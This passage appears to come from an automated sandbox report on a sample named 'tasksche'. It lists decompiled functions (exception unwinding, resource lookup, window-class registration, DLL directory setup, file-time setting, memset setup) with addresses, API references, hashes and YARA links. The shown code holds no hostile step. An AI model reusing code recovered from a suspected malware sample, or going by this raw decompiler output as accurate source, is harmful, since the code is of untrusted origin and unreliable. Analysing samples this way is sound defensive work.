				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

LTR, xrefs: 0040C124, 0040C129, 0040C138
RTL, xrefs: 0040C10D, 0040C112, 0040C146

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

IsProcessorFeaturePresent, xrefs: 00423472
KERNEL32, xrefs: 00423463

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

RarHtmlClassName, xrefs: 00419A84
0, xrefs: 00419A4C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

kernel32, xrefs: 00410E1C
SetDllDirectoryW, xrefs: 00410E2B

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

0x0041309d
0x004130a1
0x004130a3
0x004130a9
0x004130af
0x004130bf
0x004130c6
0x004130cd
0x004130e0
0x004130e8
0x004130ea
0x004130ea
0x004130f1
0x004130f2
0x004130f7
0x004130f9
0x00413111
0x00413102
0x00413102
0x00413103
0x0041310a
0x0041310c
0x0041310d
0x0041310f
0x0041310f
0x0041310f
0x00413110
0x00413110
0x00413110
0x00413120
0x00413133
0x0041313c
0x00413145

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t11;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				_t11 =  *0x44f588; // 0x0
				 *0x44f588 =  *0x44f588 + 1;
				_t35 = _t11;
				if(_t11 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584; // 0x21a11f0
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x0041108b
0x00411090
0x0041109b
0x0041109d
